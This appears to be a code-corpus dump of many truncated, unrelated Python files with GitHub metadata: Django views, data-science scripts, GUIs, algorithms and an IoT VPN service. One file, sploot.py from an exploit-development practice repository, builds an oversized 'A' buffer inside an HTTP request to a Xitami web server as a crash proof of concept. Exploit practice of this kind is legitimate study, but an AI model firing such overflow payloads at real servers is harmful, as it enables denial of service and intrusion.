517217a1965298f652b46f27e7b2e22776f26779 | 2bc6360bbdf3541428a555165788a1e65af5c0a1 | /KeepText/keep/views.py | f254216fd8334af0545808383fcced84cda0bd7c | [] | no_license | latygindenis/KeepText | 3964c60ca97ab684589a3ddf41391bdd55ae312b | e74551aea8984d06a689dc9ff261bc3eb98020d5 | refs/heads/master | 2021-07-15T21:25:13.194314 | 2017-10-23T17:14:00 | 2017-10-23T17:14:00 | 107,253,054 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 704 | py | views.py | from django.shortcuts import render, get_object_or_404,redirect
from keep.models import Zametka
from django.http import HttpResponseRedirect, HttpResponse
from .forms import ZametkaForm
def index(request):
zametka = Zametka.objects.order_by('-time_field')[:10]
context = {'zametka':zametka}
form = Zametka... |
c0e3a2fc218ae176c9003338f78e4aa87b216443 | 487ce91881032c1de16e35ed8bc187d6034205f7 | /codes/CodeJamCrawler/16_0_1/Earthwings/sheep.py | d217ac6942c22c94d27caaf81d566030253173b7 | [] | no_license | DaHuO/Supergraph | 9cd26d8c5a081803015d93cf5f2674009e92ef7e | c88059dc66297af577ad2b8afa4e0ac0ad622915 | refs/heads/master | 2021-06-14T16:07:52.405091 | 2016-08-21T13:39:13 | 2016-08-21T13:39:13 | 49,829,508 | 2 | 0 | null | 2021-03-19T21:55:46 | 2016-01-17T18:23:00 | Python | UTF-8 | Python | false | false | 918 | py | sheep.py | '''
Created on 09.04.2016
@author: Dennis Nienhüser <nienhueser@kde.org>
'''
import argparse
def lastNumber(number):
seen = []
for i in range(1, 1000):
value = str(i*number)
for character in value:
if character not in seen:
seen.append(character)
if... |
bb10a8c060d85b0110648eaa41a14d01b8109b21 | 8cd0bb46d022a5f10898d94f74dc9bbba5243e88 | /Demopandas/Deepak_verma_50.py | a141c16ddfedeeaa1e2683ee7c1a1e2f6c2cdff5 | [] | no_license | itsdeepakverma/python | 5eea8575ae9fea98431db68c3f3d22fecc617cb3 | e101409d96ff239b6f5009a089977c7219c16a0b | refs/heads/master | 2020-04-24T08:48:43.091031 | 2019-04-18T15:46:42 | 2019-04-18T15:46:42 | 171,842,331 | 0 | 1 | null | 2019-02-21T11:58:32 | 2019-02-21T09:33:19 | Python | UTF-8 | Python | false | false | 1,127 | py | Deepak_verma_50.py | # -*- coding: utf-8 -*-
"""
Created on Sat Mar 9 14:06:26 2019
@author: Admin
"""
import pandas as pd
df=pd.read_csv("D:\\Python\\DataSet\\Foodtruck.csv")
# checking missing values
df.isnull().any(axis=0)
#no missing valuse in the dataset
feature=df.iloc[:,:-1].values
label=df.iloc[:,-1].values
from sklearn.mo... |
31fef627897beb7fead8c52a7bafb2235498b0bb | 5aa60958518e58e1c3a0381c8190a6fe16c0939a | /dimerspectra.py | 7cd3461c620b94e09c2cd5c7634d08f56ee254c6 | [] | no_license | YukiToyama/2020_Oct_19th_NMRlecture | 8cf5a174f540ae275653e67939fc7d9c616012e6 | 4b5578546411f5ce0a9c5b3f07b9c0421682b0e4 | refs/heads/main | 2022-12-26T17:38:46.974925 | 2020-10-12T13:18:49 | 2020-10-12T13:18:49 | 303,031,903 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,808 | py | dimerspectra.py | # -*- coding: utf-8 -*-
"""
This script allows you to simulate the NMR spectra of the ligand titartion experiments to a symmetric, dimeric receptor protein,
using the P2 + L -> P2L + L -> P2L2 (dimer model).
Here, I assume the positive/negative cooperativity only affects the koff value.
2020/9/21
Y. Toyama
"... |
df0f9a9326d0d54afc7c3687842a5f3742d327d8 | 57e4e8ff1db386b0f94152f210abae8fbe3b4ad8 | /ex7/plotDataPoints.py | 38765396dd11fe19ef7e0e7da3ca85595d3afe8e | [] | no_license | jo1jun/Machine-Learning-Python | 4938a88e4a1d50ecd684c475b7082baf6e04b1df | 391361da6d0e31166c869432f9084463af968d4d | refs/heads/main | 2023-03-04T22:06:12.414124 | 2021-02-19T10:26:47 | 2021-02-19T10:26:47 | 332,097,504 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 697 | py | plotDataPoints.py | import matplotlib.pyplot as plt
def plotDataPoints(X, idx, K):
#PLOTDATAPOINTS plots data points in X, coloring them so that those with the same
#index assignments in idx have the same color
# PLOTDATAPOINTS(X, idx, K) plots data points in X, coloring them so that those
# with the same index assig... |
a8ed08179315b84fdff87e05c2df0996834c24c9 | 904931db8ae0b9309f14e457c453e7a632216216 | /4.5and4.6.py | 202d82a108ccb855eb9afba1d7c0ab82fcfd8e52 | [] | no_license | dinakar2802/python-codes | 1df3c86aaef18b4c26bc6a05cef1a6cfd1d9a37a | 52973bf3aff63459bd155eaa02e8ad109b64f6fa | refs/heads/master | 2020-12-24T06:02:50.203667 | 2016-11-09T05:03:54 | 2016-11-09T05:03:54 | 73,236,616 | 0 | 1 | null | 2016-11-09T05:03:55 | 2016-11-08T23:37:01 | Python | UTF-8 | Python | false | false | 150 | py | 4.5and4.6.py | #! usr/bin/env/ python
#Numbers to be printed between 40 to 60
x = input ("starting no:")
y = input ("ending no:")
for z in range(x+1,y):
print z
|
47640f69d4a62ca725bd32278d3107743f7080b6 | ea242b72f8820fc2d6165ad9579d69ec9cf5766b | /Rick/WeatherNet_v1/WeatherNetV1_Backup/TrainWeatherNet.py | fe99ed9560e990125a5087488ee8dc7963dd5c13 | [] | no_license | yunchao928/summer2020 | 7ccff92653a0c09a0a38aad8c1e6993ff6d18344 | 229489a090c6b63d87b022b10b8ee5986a67e5fc | refs/heads/master | 2022-12-17T15:55:25.976645 | 2020-09-04T23:24:54 | 2020-09-04T23:24:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,504 | py | TrainWeatherNet.py | """
TrainWeatherNet.py
"""
#-------------------------------#
working_dir = "/homes/enueve/WeatherNet/UploadWeatherNet" # This is where TrainWeather.py is located
data_dir = '/homes/enueve/WeatherNet/UploadWeatherNet/data_npy' # This is where the folder data_npy is located
#-------------------------------#
# A. Gene... |
887eb1cba32305eb0ad0dac31c5e397c9b7235c4 | 5d368af43460813ba6eb3f78be0f133b6771531b | /xitami/sploot.py | 70e56856b3224ed3c2fc52a5dc5bbe5928106434 | [] | no_license | freddiebarrsmith/Advanced-Windows-Exploit-Development-Practice | 43bd0a2ec82742cd1a97eedb586def6b878ff032 | 6b2e6dc81e0a8c0e9475cfc2fdc145d5f6764847 | refs/heads/master | 2021-06-19T17:04:14.497435 | 2021-03-06T11:48:39 | 2021-03-06T11:48:39 | 195,593,016 | 29 | 4 | null | null | null | null | UTF-8 | Python | false | false | 630 | py | sploot.py | import socket
import sys
host = "10.10.11.11"
port = 80
crash = "A" * 100
req = "GET / HTTP/1.1\r\n"
req += "Host: 10.10.11.11\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "... |
5433f7a2b9d38f0818967b688b2e4ac1b91b2ebc | d9f870e45e590d6c209087f44ffbd8e5513f2728 | /lyrics/parse_jaychou.py | 614e1565a96d18a75f8127eeb8236d15d2998528 | [] | no_license | Gaojie-Li/WeiboHelper | 8bff205ebe1566f152b6552a22438060c65bb16c | dd5c5fc323f8b9d79f1e165ffd9d96eaa067980f | refs/heads/master | 2020-03-15T07:39:51.584080 | 2018-05-31T08:32:48 | 2018-05-31T08:32:48 | 132,033,681 | 1 | 0 | null | 2018-05-04T00:03:28 | 2018-05-03T18:19:06 | Python | UTF-8 | Python | false | false | 370 | py | parse_jaychou.py | title="temp"
outfile = open("{0}.txt".format(title),"w")
with open("Jay_Chou.txt","r") as file:
for line in file:
line = line.strip()
if len(line) == 0:
continue
if ":" in line:
continue
#print(line)
if line[0] == "~":
outfile.close()
title = line.strip("~")
outfile = open("{0}.txt".format(tit... |
4456cdeee0074f4f4a84e74dfedc0d65b7df5840 | 6c786734e44eaccce85920b8e60a43b4d3e6c945 | /backend/webapp/views.py | 8eaab8f772add80dfc04628b2e900d6db05a3f05 | [] | no_license | polens29/lomotif-test | aaaba86d1956f65b89c5f81de2a01d8a791b8328 | c99a3cf70116c9fcad162b467a3eecc470f500e3 | refs/heads/master | 2022-12-10T03:27:49.070938 | 2019-01-09T08:52:03 | 2019-01-09T08:52:03 | 164,279,315 | 0 | 0 | null | 2022-12-08T01:31:42 | 2019-01-06T05:47:38 | Python | UTF-8 | Python | false | false | 1,200 | py | views.py | import random
from django.db.models import Max, Q
from rest_framework import status
from rest_framework.response import Response
from rest_framework.views import APIView
from webapp.serializers import CardSerializer
from .models import Card, CardSet
class CardView(APIView):
def get(self, request, player_class)... |
f67279b8f027dd6204c9836117ed2022993cb20e | 50cd6b4ff59fe111c21e4f7d41b893b0b15c03a4 | /main.py | cf81dbc171125f27beea414072486d92689df46c | [] | no_license | TheGeekiestOne/maximum-flow-problem | 3224d1cd9dc5ca89c7a2fd0500f8c3ac0b3be13c | ece73edd3686208c8ea3341b5553270842d7a9cb | refs/heads/master | 2021-02-18T23:43:10.731522 | 2020-03-31T10:31:54 | 2020-03-31T10:31:54 | 245,253,023 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,614 | py | main.py | # Ayran Olckers
# Maximum Flow Problem
#
#
import random
import time
from copy import deepcopy
from collections import defaultdict
def main():
choice = None
while choice != "6":
print("MAX FLOW PROBLEM")
print("Dinic's Algorithm")
print("-------------------------")
print()
... |
8d5512740821c6a0e3fb0373a61eeb5ca5559185 | 209cb6127283e9ff4935f1f38caf5b58bd86c96e | /vocabulary_scrapper/vocabulary/views.py | 4a7ec2cc699826f4e16154906285fd3584335aae | [] | no_license | oalberto96/vocabulary-scrapper | 8986ad5a4905269a5ba738b9e12deb59f0627f22 | b7a6fb9ef321d7360876b1477383ac1a86c70b00 | refs/heads/master | 2020-04-21T20:10:45.331200 | 2019-02-10T02:27:17 | 2019-02-10T02:27:17 | 169,834,220 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,742 | py | views.py | from django.shortcuts import render
from django.http import HttpResponse, HttpResponseRedirect
from django.template import loader
from django.conf import settings
import json
import os
import requests
# Create your views here
def read_result():
with open(os.path.join(settings.MEDIA_ROOT, 'result.json')) as file... |
c6d415e5c11c264a739520af66ca5f95ab4da002 | 3270597ce4b7a3dcbe0df4b1aff9e253a4a6a8bb | /Project Πολυδιάστατες Δομές Δεδομένων/Quad_Tree/insert.py | 3754f910d5060cf7ee66b26710b46c005508e490 | [
"MIT"
] | permissive | DimitrisKostorrizos/UndergraduateCeidProjects | e39e443d75cde68ab77d1d1ce7110ff782e1b0be | 8e55971f5a2c3b867b9f17a8d68c39b9898458dd | refs/heads/master | 2022-12-07T14:19:25.086282 | 2022-11-25T20:44:15 | 2022-11-25T20:44:15 | 242,327,023 | 9 | 7 | MIT | 2020-09-30T19:16:38 | 2020-02-22T11:07:30 | HTML | UTF-8 | Python | false | false | 3,249 | py | insert.py | from recordtype import recordtype
qtNode = recordtype('qtNode', 'TopLeftChild TopRightChild BottomLeftChild BottomRightChild points x y')
def insert(node, max_nodes_per_quad):
cross_x = node.x
cross_y = node.y
PointsList = node.points
Top_Left_List = []
Top_Right_List = []
Bottom_Left_List = [... |
27c7354e3710198b4803fbd1c3692018df74efc7 | 5dff8d6f353a6ceb68237c4b5c76cb43ad5d2e40 | /rk.py | 779e4d3da313a4069ee168ecb16b7e63433d0de4 | [] | no_license | rkarn3/WeatherApp | ace3d8ea0218052c1db5825fa90735efb204a244 | 46938ea97728b94429b2fb1339dd813cfdaa4e2b | refs/heads/master | 2020-12-19T12:25:19.420490 | 2020-01-24T14:30:35 | 2020-01-24T14:30:35 | 235,733,139 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,857 | py | rk.py | import tkinter
from tkinter import font
import requests
HEIGHT = 500
WIDTH = 600
def results(result):
try:
city = result['name']
country = result['sys']['country']
desc = result['weather'][0]['description']
temp = result['main']['temp']
final_result = f'City: {city} \nCou... |
68ed32423f86db7d8995e7e7693037eedcdb1b70 | 0c5a1b696f63092eaad330d60a55b0b698a88f92 | /tools/read_yaml.py | 9afc915cab879a584fc82267f982dc6367c8f437 | [] | no_license | 931398681/day06_pytest | c28841fbcad58a93860ab75d9fe80f1cf19c1c6d | 438345da53fcbbf674c3681e605120e43980165c | refs/heads/master | 2021-01-04T10:16:32.716281 | 2020-02-14T16:29:31 | 2020-02-14T16:29:31 | 240,502,240 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 410 | py | read_yaml.py | import os
import yaml
from config import base_url
def read_yaml(filename):
with open(base_url+os.sep+"data"+os.sep+filename, "r",encoding="utf-8") as f:
data_list = []
# 调用方法解析 文件流
for data in yaml.safe_load(f).values():
data_list.append(tuple(data.values()))
return dat... |
15f3fbbbd5c86ed6beb119e250dfa6448d0be579 | 006b8133f194d3ba79ac846707ed9d4c483be9f1 | /Lesson_1/Lesson_1_Git_hub_API.py | 61aa10c613b8358b28e05b9cd9beaeb5512c9676 | [] | no_license | roknikrol/GeekBrains_data_parsing | 0ae6e237b150bf3aecd1e8ef7a5ef57caa408a7b | e11004c530b1133d3feb68a4828fcff60b9a4f53 | refs/heads/master | 2020-12-22T15:37:54.969823 | 2020-04-08T14:39:05 | 2020-04-08T14:39:05 | 236,842,852 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 547 | py | Lesson_1_Git_hub_API.py | import requests
import json
main_link = 'https://api.github.com/users/'
input_username = input('Git user_name:') # try my user name - roknikrol
get_link = requests.get(main_link+input_username+'/repos')
with open(input_username+"_repos_list.json", "w") as fp:
for repos in get_link.json():
json.dump(fp.writ... |
d3a338d9666d12c7de201c6a621da2a213e6b900 | 5faebed93a39ba1a267c89103d6e7df9a995ae1d | /Driver_referenceMeasurement_createFile_importExcel.py | 4c124e3ff501c371d98aff97a825e436ea1d4ed4 | [] | no_license | steftsotras/NMRDataGui | 6097a82f691c20db6f8ef41bbc15711446d7a85b | 4df86755ec04081e4c511a15a64fe238d17387f8 | refs/heads/master | 2023-07-03T10:00:14.704739 | 2021-08-03T23:21:34 | 2021-08-03T23:21:34 | 385,679,176 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,219 | py | Driver_referenceMeasurement_createFile_importExcel.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Oct 25 14:03:42 2019
@author: tvt22
"""
import referenceMeasurement as refe
import numpy as np
import matplotlib.pyplot as plt
from ImportNmrData import NmrToolbox
import locale
from matplotlib import rcParams
class Driver_referenceMeasurement_cr... |
2a1b02d1b4165273636e76e4e6571fec10ce98a2 | c0c8aeb5aaf08925d8c9e1d660b02c89cbc7ad71 | /Algorithms/Medium/438. Find All Anagrams in a String/answer.py | 9901fc7f8b37e0ce7593c015d67a8cf145d557bc | [
"Apache-2.0"
] | permissive | kenwoov/PlayLeetCode | b2fdc43d799c37683a9efdc31c4df159cf553bf5 | 4012a2f0a099a502df1e5df2e39faa75fe6463e8 | refs/heads/master | 2022-12-17T05:54:22.775972 | 2020-09-26T14:08:43 | 2020-09-26T14:08:43 | 214,839,611 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 406 | py | answer.py | from typing import List
class Solution:
def findAnagrams(self, s: str, p: str) -> List[int]:
N, n = len(s), len(p)
res = []
pp = sorted(p)
for i in range(0, N-n+1):
if sorted(s[i:i+n]) == pp:
res.append(i)
return res
if __name__ == "__main__":
... |
26d00ff6b806d1921ae3baaa34e5ea400cb6dcc4 | 7bf0a2240b527c147c3025cf8d967bf40e909659 | /Lista/views.py | 611cc56f70b6a8202d458d4aa8838ae3f62f6211 | [] | no_license | jczerocool/proyecto | 9686d0153e8fe327eb124a6ad40e68327fb01959 | 466fce8d24745f2a57e31e0285c217329e9a2017 | refs/heads/master | 2021-01-22T10:29:33.678216 | 2017-05-31T07:02:16 | 2017-05-31T07:02:16 | 92,645,491 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,247 | py | views.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.contrib.auth.decorators import login_required
from django.shortcuts import render, redirect
from django.http import Http404
from django.shortcuts import get_object_or_404
from .forms import AsistenciaForm
from .models import Asistencia
from d... |
0ba566137c06825cd276e38676f7aedfbbd1b1fc | e1514477d43098d08f087fc7190c21f2d539327c | /package_usage/Planet.py | fe6d9fde2d4ead284183a3fdc777bea48cecc480 | [] | no_license | sgupta38/py-blog | faa5e16fc8f67454f4efcf8b2f49ede961650056 | ab33f6d2a84fedf327a5e19e08caf5a9f8e2b12e | refs/heads/master | 2021-10-22T13:19:58.140599 | 2019-03-11T03:10:08 | 2019-03-11T03:10:08 | 114,126,219 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 562 | py | Planet.py |
# This is our class
class Planet:
shape = 'round'
def __init__(self, name , radius, gravity):
self.name = name # These are instance level attribute
self.radius = radius
self.gravity = gravity
def info(self):
print(f'{self.name} has radius: {self.radius}')
... |
24c0304d7f8e39b830548ea5bd72901f6c7c1083 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02573/s087934714.py | dcde2a3c4d74e5ae88b178b8fae6c2eb20ccf206 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 753 | py | s087934714.py | import sys
class UnionFind():
def __init__(self, n):
self.parents = [-1] * n
def find(self, x):
if self.parents[x] < 0:
return x
else:
self.parents[x] = self.find(self.parents[x])
return self.parents[x]
def union(self, x, y):
x = self.fi... |
889973b06057cf9c773c361e40baed73c828d6af | c31ecc09c85b8feb1da35bc3bd3aeeb89e24476b | /hackerrank/validating-postalcode.py | 0fddfb35e4f089e3268d75db9fd20379da614e4a | [] | no_license | zhhezhhe/procon | 0b01fe6533e8db22ae1fdf16f0261128c87c2f3b | eef0a5895f1d50e7c4187432ad1192abc2a67827 | refs/heads/master | 2021-01-17T18:26:50.190616 | 2016-03-23T07:35:20 | 2016-03-23T07:35:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 219 | py | validating-postalcode.py | #!/usr/bin/python
from __future__ import print_function
import re,sys
if sys.version_info[0]>=3: raw_input=input
s=raw_input().strip()
print(bool(re.search(r'^[1-9][0-9]{5}$',s) and len(re.findall(r'(.)(?=.\1)',s))<2)) |
cf325f58947314bbfebdf25b03aa8746417eb433 | 4abfcd1c66faa327d4b90c8ac9b340c81b8b4be5 | /reporter.py | dcf606ed7a7efa92e7283e1f3ca250da7259d433 | [] | no_license | arun-mansa/tradingbot | 1c0391963cf129cec74aeada6211f1d7c18312b6 | fd49c362a62607d2541a99956990e2ecce2843eb | refs/heads/master | 2021-09-14T08:21:45.838949 | 2018-05-10T09:52:35 | 2018-05-10T09:52:35 | 114,240,792 | 19 | 14 | null | null | null | null | UTF-8 | Python | false | false | 41 | py | reporter.py | """Module for IQ Option API reporter."""
|
eb733a2d7d04a950737a4144011040ea1db08f14 | a28e160696abbb10978fbc2f305985a806840ecd | /service/run.py | 39218a793ef103a200ea977902658f400cc5ce9f | [] | no_license | ssalvatori/iot-vpn-lab | e96617fc706a4157c434e0552d20b008c3524a08 | c792f3bd175ef478cf30fb0dab6a72f0652d033a | refs/heads/master | 2022-07-18T20:49:03.575834 | 2020-05-26T06:43:03 | 2020-05-26T06:43:03 | 264,951,443 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,364 | py | run.py | from AWSIoTPythonSDK.MQTTLib import AWSIoTMQTTShadowClient
import logging
import time
import json
import os
import pycountry
from services import openvpn
from services import systemd
# countries = [
# 'IT',
# 'CL',
# 'EE',
# 'DE',
# 'US',
# 'UK'
# ]
def proccessMessage(country_code, received... |
62ef3a3351d69191205be5f012c01c06951a81af | 6f2bfc878ad9200c2542fc26ad2bb2dfc3b1fa85 | /setup.py | 5a30d9390951d26742ecda20a79531d742a15f88 | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | knu2xs/ba-tools | 2027c9575c7cabf73187e77057859eb2efbfe583 | 74e2731ea9eb6ab8c9a93574ccbd3b5c9d549a5e | refs/heads/master | 2020-08-21T17:12:58.978968 | 2020-08-12T22:31:08 | 2020-08-12T22:31:08 | 216,206,144 | 2 | 1 | Apache-2.0 | 2020-07-31T19:49:27 | 2019-10-19T12:54:51 | Python | UTF-8 | Python | false | false | 1,059 | py | setup.py | import setuptools
with open('README.md', 'r') as readme:
long_description = readme.read()
setuptools.setup(
name='ba-tools',
version='0.9.0',
author='Joel McCune',
author_email='jmccune@esri.com',
description='Feature engineering using ArcGIS Pro with Business Analyst for using quantitative Ge... |
fd051e33615132ee97a49e69147720a47769d66d | be9f694796927d50c93a97820f0aa5f3e5cf33d8 | /starter_code.py | 4a5e45718b23816c6e0aa76408c7b24057f35517 | [] | no_license | munirmalik/supervised-basico-iris | 9f982088e0293376187760dd58c7201814c6e36c | a4853f66e9bb10190708b2c00eafbb40daf5a002 | refs/heads/master | 2021-07-02T12:59:56.656166 | 2018-04-04T17:29:46 | 2018-04-04T17:29:46 | 95,711,962 | 1 | 0 | null | 2017-06-28T21:10:50 | 2017-06-28T21:10:50 | null | UTF-8 | Python | false | false | 1,156 | py | starter_code.py | # -*- coding: utf-8 -*-
"""
Starter code for basic level
Colomb-ia
"""
#Importar librerías/Import libraries
import pandas as pd
from sklearn.ensemble import RandomForestClassifier
import numpy as np
from time import time
#features_train, features_test, labels_train, labels_test = preprocess()
#Leer datos/Read data
t... |
47c8701c1157d685b845423b8dfd66db568c03fa | 3d853664921df0696beda0d50eebca5792339da4 | /automate-the-boring-stuff-with-python/imgs_operate/img_operte.py | 5e1c64b632bb2f81a9dbf9f391e4ed571f2622c1 | [] | no_license | dayelu/PythonLearning | be61b08e6769b807b3efe50b3b07ba5d15b5da76 | 936c656fcd2aa03054c867cd916acda3f3a5c0e9 | refs/heads/master | 2020-09-22T12:24:31.826486 | 2019-12-17T01:22:54 | 2019-12-17T01:22:54 | 225,192,862 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,013 | py | img_operte.py | import os
from PIL import Image #Pillow库的模块名是PIL，与python的Python Image Library向后兼容所以不是from Pillow ....
class ImgOperate():
"""图像处理的几个例子"""
def __init__(self):
# def __init__(self, catIm):
self.catIm = Image.open("zophie.png") #生成图片对象
def save_as(self):
"""图片另存为其他格式"""
try:
catIm = self.catIm
print... |
2036d684f4af50af6810e20c6d35846b94f05dde | 405fca1cff2efff1d29cc4860986c66c57847612 | /thesiscode.py | 82c3cd59aa433a2e0014347e2786b4054914584a | [] | no_license | doris-wyz/Wavelets-Forecasting | 91ed7f59820501ef082b7bdbb551c7706068d039 | ed6308bdcc57d0891ad2d1faa8057bfd94051455 | refs/heads/main | 2023-04-09T08:16:13.380343 | 2021-04-20T20:30:11 | 2021-04-20T20:30:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,285 | py | thesiscode.py | import pandas as pd
import matplotlib.pyplot as plt
from sklearn.preprocessing import MinMaxScaler
import numpy as np
import warnings
from scipy.optimize import differential_evolution
from scipy.spatial.distance import euclidean
def mae(predi, val):
return np.sum(np.abs(predi - val)) / len(predi)
def primnero(v... |
477e3ab0114132d903623439479579c507956499 | 5a353458a2c4c70753cb7ee4f3b9394a2b4c3fd9 | /data/ReviewsDataSource.py | bb6e6073eb3ed226d3308e97e84a5bbf37491d34 | [] | no_license | Nick0136/ReviewsCrawl | d1a3178649e55e3df40db0f9ceb186e207bb5609 | e1987c0343d66427475dfa0a92d269837de7cc2a | refs/heads/master | 2020-05-16T09:24:01.418955 | 2016-07-21T11:49:19 | 2016-07-21T11:49:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,507 | py | ReviewsDataSource.py | import sqlite3
import hashlib
from Review import Review
def initDB():
conn = sqlite3.connect('reviews.db')
c = conn.cursor()
# if not DbUtils.checkTableExists(conn, 'reviews'):
c.execute("""create table if not exists reviews (
id integer primary key autoincrement ,
... |
ea125088c0d32265b3839a1f4b5ca46abe5d43f5 | 50d90114437222aad0bf7c2d89ef515cee5c7ef1 | /entry.py | 4fec1b9aa785922a2def14fffac3e60516eb7c6b | [] | no_license | fcoisaias/tkinter | aa663798be7577f5ea2df84324c909e5c4b56c51 | 1851bcde37fba4bdb08de6d42b19aa2a319f93ea | refs/heads/main | 2023-01-05T08:04:34.336027 | 2020-11-02T20:34:02 | 2020-11-02T20:34:02 | 308,438,989 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,260 | py | entry.py | from tkinter import *
# Configuración de la raíz
root = Tk()
root.title("Hola mundo")
root.resizable(1,1)
root.iconbitmap('python.ico')
"""
#colocar con frame para que no se sobreescriban
frame=Frame(root)
frame.pack()
label1 = Label(frame,text="Nombre")
label1.pack(side="left")
caja1=Entry(frame)
... |